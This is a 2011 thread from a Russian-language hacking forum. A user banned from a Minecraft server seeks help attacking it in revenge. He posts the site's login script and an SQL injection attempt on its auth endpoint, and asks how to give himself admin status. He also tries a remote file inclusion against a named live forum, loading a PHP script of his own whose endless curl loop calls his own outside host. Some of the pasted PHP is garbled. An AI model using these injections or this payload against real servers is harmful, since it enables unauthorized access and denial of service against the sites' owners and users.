php\ajax injection

Discussion in 'Песочница' started by Pirotexnik, 2 Aug 2011.

  1. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    Доброго времени суток, господа.
    Такая вот история: забанили на сервере за обход фильтра мата , причём аж на месяц! Нечесно как-то...
    Так вот, удалось высосать скрипт аута. Вот он:

    Code:
    function try_login() 
    	{
    		ajax_get_request("/auth?l=" + document.getElementById("login-user").value + "&p=" + document.getElementById("login-pass").value, on_login_result)
    	}
    Вот такой запрос:

    Code:
    GET /auth?l=Pirotexnik&p=my_true_pass HTTP/1.1
    Host: test17.mcserver.ru
    Cache-Control: no-cache
    Connection: Keep-Alive
    Header-name: Header-value
    выдаёт такой ответ:

    Code:
    HTTP/1.1 200 OK
    Server: nginx/0.7.67
    Date: Mon, 01 Aug 2011 09:43:30 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=iq459c6u0g7h3uhmtvk2trj517; path=/
    
    ok
    Но, увы, если я делаю так вот:
    Code:
    GET /auth?l=Pirotexnik&p=my_true_pass" or 1==1)}// HTTP/1.1
    , то ловлю failed.
    Почему? Ведь условие или на входе с 2-мя тру!
    Помогите, господа просвящённые...

    И исчО! Там прямо в корне хоста лежит файли users.txt, в котом следующаа структара
    UserName:userStatus

    тобишь
    Admin:admins
    Premium_user:premium
    итд.

    так вот, там ещё есть 1 скриптик вот он:

    Code:
    function init() {
    			ajax_get_request("users.txt", on_load_users_info)
    			addr = window.location.toString().substr(7)
    			if ("WebSocket" in window && addr.indexOf(":") > 0) {
    				addr = (addr.indexOf(":") > 0) ? ('ws://' + addr + 'sock') : "ws://minecraft.hiasm.com:8080/sock"
    				
    		        var webSocket = new WebSocket(addr);
    	 
    		        webSocket.onopen = function(event) {
    		            //addText('onopen');
    		        };
    	 
    		        webSocket.onmessage = function(event) {
    					//code = event.data.substr(0, 1)
    					//alert(event.data)
    					on_load_log('[{"id":"0", "value":"' + event.data + '"}]')
    		        };
    	 
    		        webSocket.onclose = function(event) {
    		            //addText('onclose');
    		        };
    			} else {
    				setInterval("load_log()", 20000)
    			}
    			setInterval("check_state()", 30000)
    			check_state()
    			load_log()
    		}
    		function select_page(i) {
    			for(p = 1; p < 6; p++)
    				document.getElementById("page" + p).style.display = "none"
    			document.getElementById("page" + i).style.display = "block"
    		}
    Который с ним взаимодействует) Как-то можно себя туда прописать?
    Например залить пхп код на другой сервер, а потом исполнить уже на mc?


    АП!!!
    После запроса
    Code:
    http://forum.mcserver.ru/topic.php?arq=http://pirotexnikf2.narod2.ru/PwneD.php
    Вылазит сие чудо!
    Code:
    Notice: Undefined index: t in /var/www/sites/mc-forum.hiasm.com/www/topic.php on line 80
    Содержимое pwned.php

    PHP:
    <?php 
    while(1

        
    $ch curl_init(); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_URL"http://pirotexnikf2.narod2.ru/PwneD.php"); 
        
    curl_setopt($chCURLOPT_CONNECTTIMEOUT1); 
        
    curl_setopt($chCURLOPT_TIMEOUT1); 
        
    $result curl_exec($ch); 
        
    curl_close($ch); 

    ?>
    О чём это значит?
     
    #1 Pirotexnik, 2 Aug 2011
    Last edited: 2 Aug 2011
  2. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    Ок, а как же тогда писать иньекцию, если должен совпадать мд5? 0_о
    Да и как он может проверятся до запроса в бд если пароль у всех разный?
    Можно поподробней?
    Там на сайте есть еще свн но без уязвимостей.
    Точнее я не нашел.